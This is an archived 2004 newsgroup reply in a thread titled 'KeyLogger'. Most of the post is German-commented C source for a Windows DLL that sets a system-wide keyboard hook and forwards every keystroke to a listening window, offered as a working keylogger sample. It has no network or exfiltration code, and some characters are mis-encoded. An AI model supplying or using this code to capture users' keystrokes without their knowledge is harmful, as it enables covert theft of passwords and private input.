🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Article View: borland.public.cppbuilder.nativeapi
Article #8529

Re: KeyLogger

#8529
From: Oren Halvani
Date: Sun, 10 Oct 2004 23:44
131 lines
6181 bytes
i've found a german sample :-)


// hookdll.h

#ifdef __cplusplus
#define EXPORT extern "C" __declspec (dllexport)
#else
#define EXPORT __declspec (dllexport)
#endif
// Funktonalit�t sowohl unter C als auch unter C++ gegeben

EXPORT BOOL CALLBACK SetupHook (HWND) ;
EXPORT BOOL CALLBACK UninstallHook (void) ;
// Die Prototypen der EXPORT Funktionen

/////////////////////////////////////////////////////////////


// hookdll.c

// Der Keyboardhook wird beim aufruf die Funktion SetupHook (HWND)
// vom Hauptprogramm aus gesetzt. Dabei wird das Fensterhandle des
// aufrufendes Programms an die Funktion �bergeben. Als Ergebnis
// sendet die hookdll.dll �ber die Funktion KeyboardHookProc
// jedes mal wenn eine Taste bet�tigt wird eine Nachricht
// vom Typ (WM_USER + 2) an das Hauptprogramm. Dabaei steht der
// Tastencode der gedr�ckten Taste in dem Paramter "wParam".
// Wenn der Hook nicht mehr ben�tigt wird, l�scht man ihn �ber die
// Funkion UninstallHook ()

#include <windows.h>
#include "hookdll.h"    /* -> Siehe Oben */

// Weise den Compiler an, die Variable hWindow in einem
// separaten Abschnitt namens Shared unterzubringen
// Dar�ber hinaus ist dann auch noch dem Linker mitzuteilen,
// dass die Daten in diesem Abschnitt von allen Instanzen
// dieser Anwendung gemeinsam verwendet werden sollen.
// Ganz wichtig dabei ist, dass die Variablen initialisiert
// sein m�ssen.

#pragma data_seg ("Shared")
HWND hWindow = 0 ;
#pragma data_seg ()

// Weise den Compilern, den Abschnitt Shared als lesbar,
// beschreibbar und zur gemeinsamen Verwendung zu deklarieren - "RSW".

#pragma comment (linker, "/section:Shared,RWS")


LRESULT CALLBACK KeyboardHookProc (int, WPARAM, LPARAM) ;
// Der Prototyp der Funktion KeyboardHookProc

HHOOK       hhkHook ;
HINSTANCE   hDllInstance ;
// Definition globaler Variablen

/************************************************************************/
/* DllMain: wird automatisch aufgerufen, wenn die DLL mit LoadLibrary() */
/*          geladen, oder mit FreeLibrary wieder freigegeben wird.      */
/* Eingabe Parameter: Systemspezifische Daten                           */
/* Return-Wert: TRUE                                                    */
/************************************************************************/

int APIENTRY DllMain (HINSTANCE hInstance, DWORD fdwReason, PVOID pvReserved){
    switch (fdwReason){
        case DLL_PROCESS_ATTACH :
            // Die DLL wird in den Adressraum des aktuellen Prozesses
            // eingeblendet.
            hDllInstance = hInstance ;
            // Initialisierung der globalen Variable
            break ;
    }
    return TRUE ;
}

/***********************************************************/
/* SetupHook: EXPORT Funktion, setzt den Keyboardhook      */
/* Eingabe Parameter: HWND des aufrufenden Fensters        */
/* Return-Wert: TRUE                                       */
/***********************************************************/

EXPORT BOOL CALLBACK SetupHook (HWND hParent){
    hWindow = hParent ;
    // Initialisierung der globalen Variable mit dem Eingabe Parameter
    hhkHook = SetWindowsHookEx (WH_KEYBOARD, KeyboardHookProc, hDllInstance,
NULL) ;
    // Keyboardhook setzen und das Ergebnis in der globalen Variable
    // hhkHook speichern.
    return TRUE ;
}

/*******************************************************************/
/* KeyboardHookProc: wird jedes mal aufgerufen, wenn eine Taste    */
/*                   bet�tigt wird                                 */
/* Eingabe Parameter: Systemspezifische Daten                     */
/* Return-Wert: s. u.                                              */
/*******************************************************************/

LRESULT CALLBACK KeyboardHookProc (int nCode, WPARAM wParam, LPARAM lParam){
    if (nCode == HC_ACTION){
    // Verhindern das eine Nachricht mehrmals verarbeitet wird.
        if ((lParam & 1073741824) != 1073741824){
        // �berpr�fen ab vor dem Aufruf dieser Funktion die Taste bereits
gedr�ckt war
            SendMessage ((HWND) hWindow, (WM_USER + 2), (WPARAM) wParam,
(LPARAM) lParam) ;
            // Senden der Nachricht (WM_USER + 2) und den Tastencode der
gedr�ckten
            // Taste (gespeichert in "wParam") an das in der globalen Variable
            // hWindow gespeicherte Fensterhandle.
        }
    }
    return CallNextHookEx (hhkHook, nCode, wParam, lParam) ;
    // Die Nachrichten an den n�chsten Hook weiterreichen.
}

/*********************************************************************/
/* UninstalHook: EXPORT Funktion, l�scht den �ber die Funktion       */
/*               SetupHook gesetzten Hook                            */
/* Eingabe Parameter: keine                                          */
/* Return-Wert: TRUE                                                 */
/*********************************************************************/

EXPORT BOOL CALLBACK UninstallHook (void){
    UnhookWindowsHookEx (hhkHook) ;
    // den in der globalen Variable hhkHook gespeicherten Hook l�schen.
    return TRUE ;
}
Technical Details
Message-ID: <4169c97f@newsgroups.borland.com>
Path: arc1-ca.pugleaf.net!g2news1.google.com!news1.google.com!news2.google.com!proxad.net!213.200.89.82.MISMATCH!tiscali!newsfeed1.ip.tiscali.net!newsfeed00.sul.t-online.de!newsfeed01.sul.t-online.de!t-online.de!newsgroups.borland.com!not-for-mail
References: <41699ebb@newsgroups.borland.com>

Show Full Headers
Complete Article Headers
X-Google-Thread: 10cc67,2778ac9e1c9b2b4f
X-Google-Attributes: gid10cc67,public
X-Google-Language: GERMAN,ASCII
Reply-To: "Oren Halvani" <NoSpam@fdtd.com>
From: "Oren Halvani" <NoSpam@fdtd.com>
Newsgroups: borland.public.cppbuilder.nativeapi
References: <41699ebb@newsgroups.borland.com>
Subject: Re: KeyLogger
Date: Mon, 11 Oct 2004 01:44:19 +0200
Lines: 133
X-Priority: 3
X-MSMail-Priority: Normal
X-Newsreader: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
NNTP-Posting-Host: 217.234.110.122
Message-ID: <4169c97f@newsgroups.borland.com>
X-Trace: newsgroups.borland.com 1097451903 217.234.110.122 (10 Oct 2004 16:45:03 -0700)
Path: arc1-ca.pugleaf.net!g2news1.google.com!news1.google.com!news2.google.com!proxad.net!213.200.89.82.MISMATCH!tiscali!newsfeed1.ip.tiscali.net!newsfeed00.sul.t-online.de!newsfeed01.sul.t-online.de!t-online.de!newsgroups.borland.com!not-for-mail